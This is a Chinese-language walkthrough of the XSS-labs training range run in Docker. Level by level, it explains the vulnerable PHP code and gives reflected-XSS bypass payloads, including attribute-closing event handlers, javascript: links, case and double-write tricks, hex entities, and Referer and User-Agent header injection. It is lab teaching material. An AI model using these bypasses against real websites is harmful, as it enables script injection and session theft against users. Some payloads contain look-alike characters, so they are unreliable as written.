跨站脚本攻击(XSS) 是一种常见的Web安全漏洞,攻击者利用Web应用程序对用户输入检查不足的漏洞,将恶意脚本注入到网页中。当用户访问这些网页时,恶意脚本会在用户的浏览器中执行,从而窃取用户数据、弹出广告或篡改网页内容。

本文是用docker拉取靶场实现

level1

1、1level1.php?name=<a%20href="https://www.baidu.com">db</a>

会跳转到百度

一、先拆分整体结构
这个 URL 片段分为 3 个核心部分:
plaintext
php?name=<a%20href="https://www.baidu.com">db</a>
└─1┘ └─2─┘ └──────────3──────────────────┘
php:目标 PHP 脚本文件(比如 index.php、test.php)
?:URL 参数分隔符,作用是「告诉服务器:后面是要传递的参数」
name=xxx:GET 请求参数
name:参数名(自定义的变量名)
=:参数赋值符号
<a%20href="https://www.baidu.com">db</a>:参数值(带 HTML 代码的字符串)
二、关键:%20 是什么?(URL 编码核心)
你看到的 %20 不是乱码,是URL 编码规则:
URL 中不能直接传空格
标准 URL 只允许字母、数字、少数符号(-_.~),空格、中文、特殊符号必须编码,否则服务器无法识别。
%20 = 空格
这是 URL 编码的固定规则:空格字符 编码后 = %20
还原后:
plaintext
<a%20href=... → <a href=...
三、把参数值「还原成原始 HTML 代码」
把 %20 换回空格,参数值的真实内容是:
html
预览
<a href="https://www.baidu.com">db</a>
这是一段标准 HTML 超链接标签,含义:
<a>:超链接标签
href="网址":点击后跳转的目标地址(这里是百度)
db:链接显示的文字(页面上只看到 db,点击跳百度)
</a>:标签结束符
四、这个 URL 到底在做什么?
一句话总结:用户通过浏览器地址栏,给 PHP 脚本传递了一个名为 name 的参数,参数值是一段「跳转到百度的超链接 HTML 代码」。
对应 PHP 代码接收逻辑

1、2level1.php?name=<script>alert(`1`)</script>

一、先拆分整段 URL 结构
plaintext
level1.php?name=<script>alert(`1`)</script>
└────1────┘ └2┘ └──────────3─────────────┘
level1.php
服务器上的一个 PHP 网页文件(漏洞测试页面)。
?
URL 参数分隔符,代表后面开始传参数。
name=...
向 PHP 传递一个 GET 参数:
参数名:name
参数值:<script>alert(1)</script>(一段 JavaScript 代码)
二、参数值是什么?(核心)
参数值是一段 JavaScript 代码:
js
<script>alert(`1`)</script>
逐行解释:
<script>:JS 代码开始标签
alert(1):浏览器弹出一个提示框,内容是 1
</script>:JS 代码结束标签
这里的 反引号 `1` 和单引号 '1'、双引号 "1" 作用一样,都是字符串。
三、服务器端 PHP 做了什么?(漏洞根源)
漏洞页面 level1.php 的代码几乎一定是这样写的:
php
运行
<?php
// 直接获取 URL 里的 name 参数
$name = $_GET['name'];

// 直接输出到网页上!!!(危险操作)
echo $name;
?>
关键问题:
PHP 没有过滤、没有检查、没有转义直接把用户输入的 JS 代码 原封不动输出到 HTML 页面里。
四、浏览器最终看到的代码是什么?
服务器把你传的代码直接输出后,浏览器收到的页面是:
html
预览
<script>alert(`1`)</script>
浏览器会立刻执行这段 JS,于是:
✔ 弹出一个写着 1 的提示框
这就代表 XSS 漏洞利用成功!

源码解析

一、先看整体:这是一个 HTML + PHP 混合页面
前端是 HTML/JS(给浏览器看)后台是 PHP(运行在服务器,处理你的输入)漏洞就藏在 PHP 那段代码里

二、逐段逐行彻底解析
1. 网页基础结构(HTML 头部)html预览<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">

作用:

告诉浏览器:这是 HTML5 页面
编码 UTF-8,正常显示中文


2. 关键 JavaScript(关卡提示用)js<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level2.php?keyword=test"; 
}
</script>

这段是干嘛的?
这是关卡的 “奖励机制”

它把系统默认的 alert() 重写了
只要你执行 alert(1)
就会弹出:完成的不错!
然后自动跳转到第二关

这就是为什么你成功后会弹窗并跳转!

3. 网页标题html预览<title>欢迎来到level1</title>
</head>


4. 页面显示内容html预览<body>
<h1 align=center>欢迎来到level1</h1>

页面正中间显示大标题:欢迎来到 level1

🔥 5. 最核心漏洞代码(PHP 部分)php运行<?php 
ini_set("display_errors", 0); // 关闭错误显示
$str = $_GET["name"];         // 接收你URL里的 name 参数
echo "<h2 align=center>欢迎用户".$str."</h2>"; // 直接输出!
?>

这三行就是 XSS 漏洞的根源
我逐行讲:
① $str = $_GET["name"];

接收你在 URL 输入的 name=... 内容
你输入:plaintextlevel1.php?name=<script>alert(1)</script>

那么 $str 就等于:plaintext<script>alert(1)</script>


② echo "欢迎用户".$str."";
直接把你输入的 JS 代码输出到页面上!没有过滤!没有转义!没有检查!
最终输出到浏览器的内容是:html预览欢迎用户<script>alert(1)</script>

浏览器看到这段代码 → 直接执行 JS → 弹窗成功!

6. 底部图片与长度显示html预览<center><img src=level1.png></center>

<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>


显示一张图片
显示你输入的 payload 长度(方便你调试)


三、漏洞总结(最关键)
这个页面为什么存在 XSS 漏洞?
原因只有一句话:
PHP 获取用户输入后,直接原封不动输出到网页,没有任何过滤!php运行echo $str;   // 危险!直接输出

你输入的 JS 代码就变成了网页的一部分
浏览器会当成正常脚本执行,于是弹窗、跳转、偷 cookie 都能做到。

四、你的攻击流程(100% 清晰)

你构造 URL:plaintextlevel1.php?name=<script>alert(1)</script>

PHP 获取 name 参数
PHP 直接输出到页面
浏览器解析执行 <script>alert(1)</script>
触发关卡 JS → 弹窗「完成的不错」→ 自动进 level2

level2

源代码echo "<h2 align=center>欢迎用户".$str."</h2>";

加入后<h2 align=center>欢迎用户"> <a href=#>123</a></h2>

源码<input type="text" value="你输入的内容">

加入后<input type="text" value="" οnclick=alert(1) "">

源码分析

htmlspecialchars($str) → <script> 在这里会被转义,无法执行。

level3

源码解析

  • htmlspecialchars() 不拦截单引号 '
  • 输入框用的是 value='xxx'单引号包裹

才能成功闭合、注入事件!

less4

$str = $_GET["keyword"];

$str2=str_replace(">","",$str);

$str3=str_replace("<","",$str2);

尖括号换成空

less5

"> <a href=javascript:alert(1)>

字符编码

$str2=str_replace("<script","<scr_ipt",$str);没有把尖括号过滤

$str3=str_replace("on","o_n",$str2);

echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>

转义加替换

less6

大小写绕过

str = $_GET["keyword"];

$str2=str_replace("<script","<scr_ipt",$str);

$str3=str_replace("on","o_n",$str2);

$str4=str_replace("src","sr_c",$str3);

$str5=str_replace("data","da_ta",$str4);

$str6=str_replace("href","hr_ef",$str5);

echo "<h2 align=center>没有找到和".htmlspecialchars($str)

没有对大小写进行过滤

less7

双写过滤

"><scscript>alert("1")</scscript>

less8

换成16进制

&#x006a&#x0061&#x0076&#x0061&#x0073&#x0063&#x0072&#x0069&#x0070&#x0074&#x003a&#x0061&#x006c&#x0065&#x0072&#x0074&#x0028&#x0031&#x0029

less9

源码分析

less10

keyword=<script>alert(1)</script>&t_link=qwe&t_history=999&t_sort=999

keyword=&t_sort="%20οnclick="alert(1)"%20type="txt"

less11

Referer: 111" type="text" οnclick="alert(1)" x="

$str11=$_SERVER['HTTP_REFERER'];

$str22=str_replace(">","",$str11);

$str33=str_replace("<","",$str22);

echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>

<form id=search>

<input name="t_link"  value="'.'" type="hidden">

<input name="t_history"  value="'.'" type="hidden">

<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">

<input name="t_ref"  value="'.$str33.'" type="hidden">

</form>

</center>';

less12

User-Agent:111" type="text" οnclick="alert(1)" x="

$str11=$_SERVER['HTTP_USER_AGENT'];

$str22=str_replace(">","",$str11);

$str33=str_replace("<","",$str22);

echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>

<form id=search>

<input name="t_link"  value="'.'" type="hidden">

<input name="t_history"  value="'.'" type="hidden">

<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">

<input name="t_ua"  value="'.$str33.'" type="hidden">

</form>

</center>';

?>

less13

cookie值修改

src=%20level1.php?name=<img%20src=1%20οnerrοr=alert(1)>

less16

空格过滤

<img%0asrc=123%0aοnerrοr=alert(1)>

less17

arg01=a&arg02=123%20οnfοcus=alert(1)

Logo

AtomGit 是由开放原子开源基金会联合 CSDN 等生态伙伴共同推出的新一代开源与人工智能协作平台。平台坚持“开放、中立、公益”的理念,把代码托管、模型共享、数据集托管、智能体开发体验和算力服务整合在一起,为开发者提供从开发、训练到部署的一站式体验。

更多推荐